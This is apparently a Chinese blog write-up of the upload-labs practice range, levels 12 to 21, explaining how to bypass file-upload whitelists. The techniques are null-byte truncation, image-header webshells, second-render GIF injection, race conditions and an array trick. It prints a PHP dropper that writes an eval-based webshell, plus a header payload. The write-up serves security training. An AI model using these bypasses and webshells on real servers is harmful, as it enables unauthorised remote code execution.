首页 > 其他分享 >upload靶场总结12-21白名单

upload靶场总结12-21白名单

时间:2023-05-24 16:46:42浏览次数:49  
标签:文件 12 21 upload jpg 漏洞 白名单 php 上传

PHP版本为5.5.9nts版本

第十二关白名单校验(GET 型 0x00 截断)

漏洞描述:使用白名单限制上传文件类型,但上传文件的存放路径可控利用方法:设置上传路径为 upload/phpinfo.php%00 ,添加 phpinfo.php%00 内

容为了控制路径,上传文件后缀为白名单即可 例:test.jpg,保存后为

/upload/phpinfo.php%00test.jpg,但服务端读取到%00 时会自动结束,将文件

内容保存至 phpinfo.php 中

PS:需要 php 的版本号低于 5.3.29,且 magic_quotes_gpc 为关闭状态

先看提示

image-20230322101450411

查看源码

image-20230322101613169

由此可见是白名单,按照文件名进行处理

还将上传的文件保存到了save_path

然后接下来抓包

image-20230322102024958

image-20230322102216034

文件名截断

截断字符: chr(0) 类似于C++的"\0"

filename=1.php%00.txt —— filenam=1.php

URL encode  →    ASCLL value 

%00         →     0

image-20230322102834796

phpstudy切换一下版本,把magic_quotes_gpc关闭,以phpstudy为例。

其他选项菜单---php扩展及设置---参数开关设置---把magic_quotes_gpc关闭。

image-20230322103507846

上传成功

image-20230322103546956

访问成功

第十三关(POST 型 0x00 截断)

漏洞描述:漏洞描述:使用白名单限制上传文件类型,但上传文件的存放路径可控,但因为是 POST 型,需要在 16 进制中修改,因为 POST 不会像 GET 那样对%00 进行自动解码。

同样进行抓包

image-20230322104035801

文件保存路径不再是出现在url中而是把保存路径和文件名称都写在了Content-Disposition

原本十二关中保存路径存在url中,是url编码,而我们现在需要一个十六进制的截断字符

先要写一个➕ 占一下位

image-20230322104546752

然后点击Hex +在里面的编码是2b

image-20230322105542402

然后将2b改为00

image-20230322105607941

image-20230322105713687

上传成功

image-20230322105738872

访问成功

第十四关文件内容检测(文件头校验)

先看提示

image-20230322160230069

漏洞描述:通过读文件的前 2 个字节,检测上传文件二进制的头信息,判断文

件类型,利用图片马绕过检测。

利用方法:图片马制作

image-20230322160339509

可搜索常见文件头标识

在 cmd 里执行 copy logo.jpg/b+test.php/a test.jpg

logo.jpg 为任意图片

test.php 为我们要插入的木马代码

test.jpg 为我们要创建的图片马

名字可任意

image-20230322160934693

image-20230322161743136

notepad打开后前面的jpg内容还在,而且php代码也仍然存在.

image-20230322162350184

上传成功

但是连接并不能起作用

image-20230322162437711

image-20230322162645085

include函数没有任何过滤,只有get的请求

image-20230322162910249

我们的图片内含敏感PHP语句。所以被包含进来之后被服务器当成PHP进行解析,加之我们的图片内部本身就存在PHP代码。故引发了这样的安全隐患问题。

有bug include大部分 时候只能包含本地文件

image-20230322213608353

./本目录 ../上一目录

第十五关文件内容检测 (getimagesize()校验)

img

getimagesize()
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

语法:

array getimagesize( string filename )
例子:

<?php
$array = getimagesize("images/flower_1.jpg");
print_r($array);
?>
浏览器显示如下:

Array
(
    [0] => 350
    [1] => 318
    [2] => 2
    [3] => width="350" height="318"
    [bits] => 8
    [channels] => 3
    [mime] => image/jpeg
)
返回结果说明
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签
索引 bits 给出的是图像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:
header("Content-type: image/jpeg");

十六关文件内容检测 (exif_imagetype()绕过)

image-20230322173331208

关于这个exif_imagetype()函数

image-20230323185555884

第16关同14,15关思路一样,操作一样。但是需要打开php_exif,
phpstudy的其他选项菜单---打开配置文件---php-ini

img

重启phpstudy即可

(2)预定义高度宽度:

例 .htaccess 文件

文件内容

#define width 1337

#define height 1337

文件内容---

(3)利用 x00x00x8ax39x8ax39 文件头x00x00x8ax30x8ax39 是 wbmp 文件的文件头,但 0x00 在.htaccess 文件中为是注释符,

不会影响文件本身。使用十六进制编辑器或者 python 的 bytes 字符类型(b’’)来进行

添加。

payload:shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + '文件内容'

第十七关文件内容检测(二次渲染)

basename($filename);
// 获得上传文件的扩展名
imagecreatefrompng($target_path)
//由文件或URL创建一个新图像

漏洞描述:综合判断了后缀名、content-type,以及利用 imagecreatefromgif

判断是否为 gif 图片,并在最后对文件内容进行了二次渲染,修改文件内容

绕过方法:上传一个 GIF 图片马,然后将其下载下来,查看其十六进制的文件内容,

找到二次渲染后不变的地方,而这个地方就是可以插入一句话的地方

这里要用到特殊的这个图片image-20230323195936661

才能达到渲染前后有不变的情况

image-20230323200124533

在未修改的位置加入一句话木马

然后蚁剑连接就可以了

22这里有个图

第十八关逻辑漏洞(条件竞争)

image-20230323202358673

image-20230323202449539

上传的php内容为

<?php

fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');

?>

疯狂(Burp or Python)上传与访问致使这个文件成功使用,从而产生一个shell.php

上传的文件判断后仍会被删除,但是新创建的shell.php并不会被判断而删除

上传文件后抓包

image-20230323210404523

这里可以修改文件的内容

发送到Intruder中设置空载

image-20230323210454984

image-20230323210526890

然后根据路径(上传正常图片)中改为1.php

image-20230323210733256

和上一个一样,但尽可能设多些

不断访问后再用蚁剑连接我们打算建立的webshell.php

第十九关逻辑漏洞(条件竞争-图片马)

漏洞描述:后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否

存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以

不断利用 burp 发送上传图片马的数据包,由于条件竞争,程序会出现来不及

rename 的问题,从而上传成功

利用方法:区别于 Pass-18,这里需要使用图片马

第二十关逻辑漏洞(小数点绕过)

image-20230323212442047

image-20230323212456870

image-20230323212509951

image-20230323212529249

image-20230323213716100

move_uploaded_file() 特性 /.在对比黑名单的时候会忽略

image-20230323215450528

image-20230323214222949

上传成功

image-20230323214244936

正常访问

第二十一关逻辑漏洞(数组绕过)

image-20230323214614701

如果不是数组就用,分割一下

end() 函数将数组内部指针指向最后一个元素,并返回该元素的值(如果成功)。

reset()函数是数组内部指针指向第一个,并返回该元素的值(如果成功)。

先抓包构造数组

首先要改掉MIME类型绕过第一步白名单

file_name改成jpg过白名单

save_name要做成一个数组,而且数组的最后一个值是jpg等

image-20230323215635899

img

标签:文件,12,21,upload,jpg,漏洞,白名单,php,上传
From: https://www.cnblogs.com/vaneshadow/p/17428797.html

相关文章

  • upload靶场总结1-11客户端验证和文件后缀验证
    第一关JS校验利用文件上传js前端的后缀名检测来进行检测后端并没有对文件进行检验上传文件方法1.关闭前端的js2.burp抓包先上传允许上传的文件,然后抓包后修改上传文件的后缀3、将网站源码复制下来,放到本地,然后将js代码删除。先查看网页源代码然后复制粘贴到本地文本文......
  • sql-labs21-30关
    level21先admin:admin登录由此可见cookie被加密了可以尝试在每次注入前对payload进行加密在注入先将语句进行base64加密,再进行注入,通过回显找到闭合方式为')获取行数admin')orderby4#得到行数为3然后开始爆破数据表,列等等level22闭合为"了其他的一样level23......
  • 【力扣每日一题】129. 求根到叶子节点数字之和
    不得不说,憨憨脑袋没有递归~~~1.题目描述2.题目分析题目意思很简单,遍历树的每一条路径,然后相加,返回最后结果思路一:DFS【每次看代码就秒懂,自己每次都想不到】:递递归归,莫有脑袋。每次递归加上从一开始的值思路二:BFS【个人最喜欢的】:维护两个队列,队列一存放root,队列二存放val,每次遍......
  • 【力扣每日一题】1207. 独一无二的出现次数
    没想到C#的修改value值,可以直接dis[key]=value进行修改~~~1.题目描述2.题目分析每个数字在数组中出现的次数是独一无二的思路一:桶排,看了看数据范围,挺小,可以桶排思路二:字典(HashMap),最后Value都是等于1的返回true3.题目代码publicstaticboolUniqueOccurrences(int[]arr)......
  • HEUCPC2021
    stralReflection在\([1,n]\)上支持如下操作:操作一:学习一个新的技能——清除\([l,r]\)内所有的陨石操作二:给定一个点集\(k\)代表陨石出现在这些位置,询问最少需要使用多少技能才能清除所有陨石(不能使用当前没有学习的技能)共操作\(m\)次\(\sumk\leq1e5\)\(m\leq1e5\)......
  • 直播app开发,基于van-uploader封装的文件上传图片压缩组件
    直播app开发,基于van-uploader封装的文件上传图片压缩组件1、调用<template>  <div>    <compress-uploaderv-model="fileList":compressSwitch="true":quality="0.5":maxCount="3"/>  </div></template> <......
  • DAY12笔记及补充
    今日未默写笔记要点:1.BOM定义及组成部分2.window对象3.history对象history.back等价于history.go(-1);history.forward等价于history.go(1)4.location对象<ahref="javascript:window.location.href='XX'">跳转到XX页面</a>5.document对象(1)document.getElementById定义:可......
  • 百度WebUploader中实现文件上传下载的三种解决方案(推荐)
    ​ 前言文件上传是一个老生常谈的话题了,在文件相对比较小的情况下,可以直接把文件转化为字节流上传到服务器,但在文件比较大的情况下,用普通的方式进行上传,这可不是一个好的办法,毕竟很少有人会忍受,当文件上传到一半中断后,继续上传却只能重头开始上传,这种让人不爽的体验。那有没有......
  • upload-labs靶场第10关
    经过查看源码很多文件格式都被禁掉了提示所以我们要尝试是否是循环验证循环验证就是没有进行二次验证或者多次验证只验证了一次但是加两个点或者加多个空格这样就只会检测到一次就只会删除一个剩下的就可以上传进去上传文件进行抓包查看完成......
  • upload-labs靶场第9关
    因为是白盒测试可以看到前端代码所以我们知道没有禁用掉字符::$DATA如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名上传文件进行抓包修改后缀查看完成......